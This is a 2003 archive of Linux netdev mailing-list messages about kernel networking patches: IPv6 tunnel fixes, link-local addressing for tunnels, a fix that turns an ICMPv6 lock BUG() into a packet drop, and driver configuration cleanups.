From romieu@fr.zoreil.com Mon Sep 1 00:18:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 00:19:03 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h817ILWZ011163 for ; Mon, 1 Sep 2003 00:18:22 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h817DMxA004060; Mon, 1 Sep 2003 09:13:22 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h817DLBr004059; Mon, 1 Sep 2003 09:13:21 +0200 Date: Mon, 1 Sep 2003 09:13:21 +0200 From: Francois Romieu To: Maillist netdev Cc: Jeff Garzik Subject: Re: So you thought sis190 was evil... Message-ID: <20030901091321.A4000@electric-eye.fr.zoreil.com> References: <3F529E71.20402@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3F529E71.20402@pobox.com>; from jgarzik@pobox.com on Sun, Aug 31, 2003 at 09:18:41PM -0400 X-archive-position: 5452 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Jeff Garzik : > It looks like the objectionable sis190 code was copied almost wholesale > from r8169... virt_to_bus, static descriptors, lack of cpu_to_leXX, > and all. Are you asking for a copy from sis190 to r8169 ? -- Ueimor From vnuorval@tcs.hut.fi Mon Sep 1 01:18:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 01:19:14 -0700 (PDT) Received: from smtp-2.hut.fi (root@smtp-2.hut.fi [130.233.228.92]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h818IcWZ028152 for ; Mon, 1 Sep 2003 01:18:39 -0700 Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by smtp-2.hut.fi (8.12.9/8.12.9) with ESMTP id h818IV5t020009; Mon, 1 Sep 2003 11:18:32 +0300 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 194358001BF; Mon, 1 Sep 2003 11:18:31 +0300 (EEST) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h818IU9s028101; Mon, 1 Sep 2003 11:18:31 +0300 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h818IUxD028097; Mon, 1 Sep 2003 11:18:30 +0300 Date: Mon, 1 Sep 2003 11:18:30 +0300 (EEST) From: Ville Nuorvala To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, , Subject: Re: [PATCH] IPv6: (5/5) Allow IPv6 tunnels without own IPv6 address In-Reply-To: <20030901.112409.61391981.yoshfuji@linux-ipv6.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-15 X-RAVMilter-Version: 8.4.3(snapshot 20030212) (smtp-2.hut.fi) X-DCC-HUTCC-Metrics: smtp-2.hut.fi 1165; Body=5 Fuz1=5 Fuz2=5 X-archive-position: 5453 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev On Mon, 1 Sep 2003, YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B wrote: > In article (at Mon, 1 Sep 2003 03:11:58 +0300 (EEST)), Ville Nuorvala says: > > > unless (link-local) protocols like DHCPv6 or MLD are run over the virtual > > link formed by IPv6 tunnels, the net_devices representing the tunnels > > don't necessarily need to have an IPv6 address configured specifically to > > them. > > Wrong. All interfaces have a link-local address. (RFC2462) Unfortunately the IPv6 tunneling spec (RFC2473) is broken on this point :( I should probably raise this issue on the IETF ipv6 WG mailing list. The first problem is, that the way to generate the interface-identifier isn't currently specified in the tunnel spec. The IPv6 over PPP spec (RFC2472) section 4.1 has some ideas: 1) if available, reuse any IEEE EUI-48 or EUI-64 identifiers on the node 2) use link-layer addresses, machine serial numbers, et cetera 3) if none of these can be found, use random bits The second problem is, that this method alone doesn't yet guarantee unique identifiers to the two tunnel endpoints. In RFC2472 the IPv6 Control Protocol negotiates the identifiers between the two peers beforehand, but unfortunately we don't have a similar protocol in RFC2473. Like the other tunnels (ipip, ip_gre, sit) ip6_tunnel is fundamentally a IFF_NOARP device so you can't even use DAD to detect a duplicate address on the virtual link. (Besides, the link doesn't even exist before both devices have been brought up on the two separate nodes.) This is something for the ipv6 WG to think about, I guess. In the mean time, do we accept the in theory 1/2^64 (in practice of course bigger) chance of duplicate addresses occurring on the link? If yes, then I could (probably still later today) send a patch where the interface-identifiers for the IPv6 tunnels are generated like in the IPv6 over PPP case above. Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From davem@pizda.ninka.net Mon Sep 1 01:18:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 01:19:32 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h818IxWZ028182 for ; Mon, 1 Sep 2003 01:18:59 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA07751; Mon, 1 Sep 2003 01:09:45 -0700 Date: Mon, 1 Sep 2003 01:09:45 -0700 From: "David S. Miller" To: Christoph Hellwig Cc: netdev@oss.sgi.com Subject: Re: [PATCH] convert icmpv6_socket to per-cpu data Message-Id: <20030901010945.42f4c01e.davem@redhat.com> In-Reply-To: <20030831100521.GB18663@lst.de> References: <20030831100521.GB18663@lst.de> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5454 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 31 Aug 2003 12:05:21 +0200 Christoph Hellwig wrote: > per-cpu data works in modules for a while now. Also bring over a > comment from the IPv4 version and consolidate the error handling. Applied, thanks Christoph. From davem@pizda.ninka.net Mon Sep 1 01:39:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 01:40:04 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h818dQWZ000557 for ; Mon, 1 Sep 2003 01:39:27 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA07847; Mon, 1 Sep 2003 01:30:20 -0700 Date: Mon, 1 Sep 2003 01:30:20 -0700 From: "David S. Miller" To: "David S. Miller" Cc: dwmw2@redhat.com, netdev@oss.sgi.com Subject: Re: Missing routes cause BUG() in icmpv6_xmit_lock(). Message-Id: <20030901013020.189fe564.davem@redhat.com> In-Reply-To: <20030831224454.349a6a53.davem@redhat.com> References: <1062341789.2785.11.camel@imladris.demon.co.uk> <20030831224454.349a6a53.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5455 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 31 Aug 2003 22:44:54 -0700 "David S. Miller" wrote: > I'll see what I can do about this one. Ok, here is the fix I'm going to use. I actually inadvertantly added this problem when I converted net/ipv6/icmp.c over to per-cpu sockets. There is nothing we could do with such ICMP destination unreachable packets anyways, so dropping them is the right thing to do. # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1614 -> 1.1615 # net/ipv6/icmp.c 1.26 -> 1.27 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/01 davem@nuts.ninka.net 1.1615 # [IPV6]: Do not BUG() on icmp6 socket contention, just drop. # -------------------------------------------- # diff -Nru a/net/ipv6/icmp.c b/net/ipv6/icmp.c --- a/net/ipv6/icmp.c Mon Sep 1 01:36:39 2003 +++ b/net/ipv6/icmp.c Mon Sep 1 01:36:39 2003 @@ -95,8 +95,15 @@ static void icmpv6_xmit_lock(void) { local_bh_disable(); - if (unlikely(!spin_trylock(&icmpv6_socket->sk->lock.slock))) - BUG(); + if (unlikely(!spin_trylock(&icmpv6_socket->sk->lock.slock))) { + /* This can happen if the output path (f.e. SIT or + * ip6ip6 tunnel) signals dst_link_failure() for an + * outgoing ICMP6 packet. + */ + local_bh_enable(); + return 1; + } + return 0; } static void icmpv6_xmit_unlock(void) @@ -340,7 +347,8 @@ fl.fl_icmp_type = type; fl.fl_icmp_code = code; - icmpv6_xmit_lock(); + if (icmpv6_xmit_lock()) + return; if (!icmpv6_xrlim_allow(sk, type, &fl)) goto out; @@ -423,7 +431,8 @@ fl.oif = skb->dev->ifindex; fl.fl_icmp_type = ICMPV6_ECHO_REPLY; - icmpv6_xmit_lock(); + if (icmpv6_xmit_lock()) + return; if (!fl.oif && ipv6_addr_is_multicast(&fl.fl6_dst)) fl.oif = np->mcast_oif; From davem@pizda.ninka.net Mon Sep 1 01:51:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 01:51:44 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h818p9WZ005785 for ; Mon, 1 Sep 2003 01:51:10 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA07940; Mon, 1 Sep 2003 01:41:01 -0700 Date: Mon, 1 Sep 2003 01:41:01 -0700 From: "David S. Miller" To: Ville Nuorvala Cc: usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: (1/5) Fix bugs in ip6_tunnel.c ICMP error handler Message-Id: <20030901014101.15ff54a6.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5456 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 1 Sep 2003 02:34:55 +0300 (EEST) Ville Nuorvala wrote: > this patch fixes two byte order bugs in ip6ip6_err(). Please apply! Applied, thanks Ville. From davem@pizda.ninka.net Mon Sep 1 01:55:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 01:56:25 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h818toWZ008456 for ; Mon, 1 Sep 2003 01:55:51 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA07971; Mon, 1 Sep 2003 01:45:44 -0700 Date: Mon, 1 Sep 2003 01:45:44 -0700 From: "David S. Miller" To: Ville Nuorvala Cc: usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: (2/5) Use free_netdev() as destructor in ip6_tunnel.c Message-Id: <20030901014544.3acd384d.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5457 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 1 Sep 2003 02:46:45 +0300 (EEST) Ville Nuorvala wrote: > Oops, > forgot to attach the patch in the original mail... > > Sorry about that, That's ok :-) Applied, thanks Ville. From davem@pizda.ninka.net Mon Sep 1 01:57:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 01:58:04 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h818vTWZ009352 for ; Mon, 1 Sep 2003 01:57:29 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA07998; Mon, 1 Sep 2003 01:47:23 -0700 Date: Mon, 1 Sep 2003 01:47:22 -0700 From: "David S. Miller" To: Ville Nuorvala Cc: usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: (3/5) Set dev->dev_addr and dev->broadcast in ip6_tnls Message-Id: <20030901014722.4f2d27bd.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5458 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 1 Sep 2003 02:48:55 +0300 (EEST) Ville Nuorvala wrote: > I just only recently noticed MAX_ADDR_LEN had beed increased to 32. This > means the IPv6 addresses can now be copied into the dev->dev_addr and > dev->broadcast fields, just like the IPv4 addresses are for the other > tunnel drivers. Please apply! Applied, thanks Ville. From davem@pizda.ninka.net Mon Sep 1 01:58:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 01:59:03 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h818wqWZ010069 for ; Mon, 1 Sep 2003 01:58:52 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA08025; Mon, 1 Sep 2003 01:48:46 -0700 Date: Mon, 1 Sep 2003 01:48:45 -0700 From: "David S. Miller" To: Ville Nuorvala Cc: usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: (4/5) Remove sockets from ip6_tunnel.c Message-Id: <20030901014845.660a9471.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5459 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 1 Sep 2003 02:57:03 +0300 (EEST) Ville Nuorvala wrote: > this patch removes all sockets from ip6_tunnel.c. It also allows nested > IPv6 encapsulations through different devices in the IPv6 tunnel > entry-point node, since the old restrictions caused by the sockets don't > apply any more. Please apply the patch! Thank you very much for finishing this work. Applied, thanks. From davem@pizda.ninka.net Mon Sep 1 02:01:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 02:01:48 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8191AWZ011379 for ; Mon, 1 Sep 2003 02:01:10 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA08042; Mon, 1 Sep 2003 01:52:01 -0700 Date: Mon, 1 Sep 2003 01:52:01 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: vnuorval@tcs.hut.fi, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: (5/5) Allow IPv6 tunnels without own IPv6 address Message-Id: <20030901015201.4d673fd7.davem@redhat.com> In-Reply-To: <20030901.112409.61391981.yoshfuji@linux-ipv6.org> References: <20030901.112409.61391981.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5460 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 01 Sep 2003 11:24:09 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > In article (at Mon, 1 Sep 2003 03:11:58 +0300 (EEST)), Ville Nuorvala says: > > > unless (link-local) protocols like DHCPv6 or MLD are run over the virtual > > link formed by IPv6 tunnels, the net_devices representing the tunnels > > don't necessarily need to have an IPv6 address configured specifically to > > them. > > Wrong. All interfaces have a link-local address. (RFC2462) Are you sure there isn't an exception in the ip6ip6 tunnel RFC? From davem@pizda.ninka.net Mon Sep 1 02:13:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 02:14:25 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h819DoWZ018517 for ; Mon, 1 Sep 2003 02:13:51 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA08086; Mon, 1 Sep 2003 02:03:40 -0700 Date: Mon, 1 Sep 2003 02:03:40 -0700 From: "David S. Miller" To: Ville Nuorvala Cc: yoshfuji@linux-ipv6.org, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: (5/5) Allow IPv6 tunnels without own IPv6 address Message-Id: <20030901020340.5a128836.davem@redhat.com> In-Reply-To: References: <20030901.112409.61391981.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5461 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 1 Sep 2003 11:18:30 +0300 (EEST) Ville Nuorvala wrote: > Unfortunately the IPv6 tunneling spec (RFC2473) is broken on this point :( > I should probably raise this issue on the IETF ipv6 WG mailing list. ... > The first problem is, that the way to generate the interface-identifier > isn't currently specified in the tunnel spec. ... > The second problem is, that this method alone doesn't yet guarantee > unique identifiers to the two tunnel endpoints. This is exactly what I was thinking. I really don't think link- local addresses make any sense on a software device such as the ipip6 tunnels. From hch@lst.de Mon Sep 1 02:21:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 02:22:00 -0700 (PDT) Received: from mail.lst.de ([212.34.189.10]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h819LMWZ024275 for ; Mon, 1 Sep 2003 02:21:23 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.4) with ESMTP id h819L0Z4031148 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 1 Sep 2003 11:21:00 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.3) id h819L0xH031146 for netdev@oss.sgi.com; Mon, 1 Sep 2003 11:21:00 +0200 Date: Mon, 1 Sep 2003 11:21:00 +0200 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: [PATCH] CONFIG_IA64_SGI_SN1 is gone Message-ID: <20030901092100.GA31136@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -1.8 () PATCH_UNIFIED_DIFF,UPPERCASE_25_50,USER_AGENT_MUTT X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang) X-archive-position: 5462 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev and the IOC3 driver would only work with SN0/Mips anyway. --- 1.40/drivers/net/Kconfig Mon Aug 18 23:59:59 2003 +++ edited/drivers/net/Kconfig Mon Sep 1 10:05:48 2003 @@ -502,7 +502,7 @@ config SGI_IOC3_ETH bool "SGI IOC3 Ethernet" - depends on NET_ETHERNET && (IA64_SGI_SN1 || SGI_IP27) + depends on NET_ETHERNET && SGI_IP27 help If you have a network (Ethernet) card of this type, say Y and read the Ethernet-HOWTO, available from From davem@pizda.ninka.net Mon Sep 1 02:44:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 02:45:22 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h819ilWZ004435 for ; Mon, 1 Sep 2003 02:44:49 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA08225; Mon, 1 Sep 2003 02:35:38 -0700 Date: Mon, 1 Sep 2003 02:35:38 -0700 From: "David S. Miller" To: Christoph Hellwig Cc: netdev@oss.sgi.com Subject: Re: [PATCH] CONFIG_IA64_SGI_SN1 is gone Message-Id: <20030901023538.1512536a.davem@redhat.com> In-Reply-To: <20030901092100.GA31136@lst.de> References: <20030901092100.GA31136@lst.de> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5463 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 1 Sep 2003 11:21:00 +0200 Christoph Hellwig wrote: > and the IOC3 driver would only work with SN0/Mips anyway. Applied, thanks Christoph. From dwmw2@redhat.com Mon Sep 1 02:58:33 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 02:59:06 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h819wVWZ010891 for ; Mon, 1 Sep 2003 02:58:32 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 860FF63D63; Mon, 1 Sep 2003 10:58:25 +0100 (BST) Received: from hades.cambridge.redhat.com (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.9/8.11.0) with ESMTP id h819wN54009915; Mon, 1 Sep 2003 10:58:23 +0100 Received: (from dwmw2@localhost) by hades.cambridge.redhat.com (8.12.9/8.12.9/Submit) id h819wMn5009913; Mon, 1 Sep 2003 10:58:22 +0100 X-Authentication-Warning: hades.cambridge.redhat.com: dwmw2 set sender to dwmw2@redhat.com using -f Subject: Re: Missing routes cause BUG() in icmpv6_xmit_lock(). From: David Woodhouse To: "David S. Miller" Cc: netdev@oss.sgi.com In-Reply-To: <20030901013020.189fe564.davem@redhat.com> References: <1062341789.2785.11.camel@imladris.demon.co.uk> <20030831224454.349a6a53.davem@redhat.com> <20030901013020.189fe564.davem@redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Red Hat UK Ltd. Message-Id: <1062410301.9518.19.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 (1.4.4-4.dwmw2.1) Date: Mon, 01 Sep 2003 10:58:22 +0100 X-archive-position: 5464 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@redhat.com Precedence: bulk X-list: netdev On Mon, 2003-09-01 at 01:30 -0700, David S. Miller wrote: > On Sun, 31 Aug 2003 22:44:54 -0700 > "David S. Miller" wrote: > > > I'll see what I can do about this one. > > Ok, here is the fix I'm going to use. I actually inadvertantly > added this problem when I converted net/ipv6/icmp.c over to > per-cpu sockets. In the meantime, since there's nothing to prevent anyone from faking ICMP6 echo packets from an 'internal' machine and sending them to a victim over the IPv4 encap, it might be prudent for everyone doing 6to4 to add an unreachable route to their 2002:XXXX:YYYY::/48 subnet, which seems to avoid the problem. -- dwmw2 From pekkas@netcore.fi Mon Sep 1 03:51:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 03:51:45 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81Ap9WZ031832 for ; Mon, 1 Sep 2003 03:51:10 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h81Amjl19249; Mon, 1 Sep 2003 13:48:45 +0300 Date: Mon, 1 Sep 2003 13:48:44 +0300 (EEST) From: Pekka Savola To: "David S. Miller" cc: Ville Nuorvala , , , Subject: Re: [PATCH] IPv6: (5/5) Allow IPv6 tunnels without own IPv6 address In-Reply-To: <20030901020340.5a128836.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5465 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Mon, 1 Sep 2003, David S. Miller wrote: > On Mon, 1 Sep 2003 11:18:30 +0300 (EEST) > Ville Nuorvala wrote: > > > Unfortunately the IPv6 tunneling spec (RFC2473) is broken on this point :( > > I should probably raise this issue on the IETF ipv6 WG mailing list. > ... > > The first problem is, that the way to generate the interface-identifier > > isn't currently specified in the tunnel spec. > ... > > The second problem is, that this method alone doesn't yet guarantee > > unique identifiers to the two tunnel endpoints. > > This is exactly what I was thinking. I really don't think link- > local addresses make any sense on a software device such as the > ipip6 tunnels. Well, link-local addresses are used e.g. by routing protocols and such, so having one is probably rather important.. FWIW, on FreeBSD platform they take the link-local address of the first physical interface, and give the exact same link-local address on all of the tunnels, disambiuating them with the scope identifier. Seems like an OK appaorach too, and guarantees (to the degree of unique MAC addresses) that the addresses of the endpoints do not clash. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From davem@pizda.ninka.net Mon Sep 1 04:00:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 04:01:17 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81B0hWZ004428 for ; Mon, 1 Sep 2003 04:00:44 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id DAA08489; Mon, 1 Sep 2003 03:51:34 -0700 Date: Mon, 1 Sep 2003 03:51:34 -0700 From: "David S. Miller" To: Pekka Savola Cc: vnuorval@tcs.hut.fi, yoshfuji@linux-ipv6.org, usagi-core@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6: (5/5) Allow IPv6 tunnels without own IPv6 address Message-Id: <20030901035134.2585aa79.davem@redhat.com> In-Reply-To: References: <20030901020340.5a128836.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5466 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 1 Sep 2003 13:48:44 +0300 (EEST) Pekka Savola wrote: > Well, link-local addresses are used e.g. by routing protocols and such, so > having one is probably rather important.. Ok. > FWIW, on FreeBSD platform they take the link-local address of the first > physical interface, and give the exact same link-local address on all of > the tunnels, disambiuating them with the scope identifier. Seems like an > OK appaorach too, and guarantees (to the degree of unique MAC addresses) > that the addresses of the endpoints do not clash. Interesting approach... I'm not particularly picky about how this uniqueness issue is solved. From jgarzik@pobox.com Mon Sep 1 06:10:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 06:10:44 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81DA6WZ009171 for ; Mon, 1 Sep 2003 06:10:09 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33493 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19tSCn-0000Gm-Cl; Sun, 31 Aug 2003 14:25:21 +0100 Message-ID: 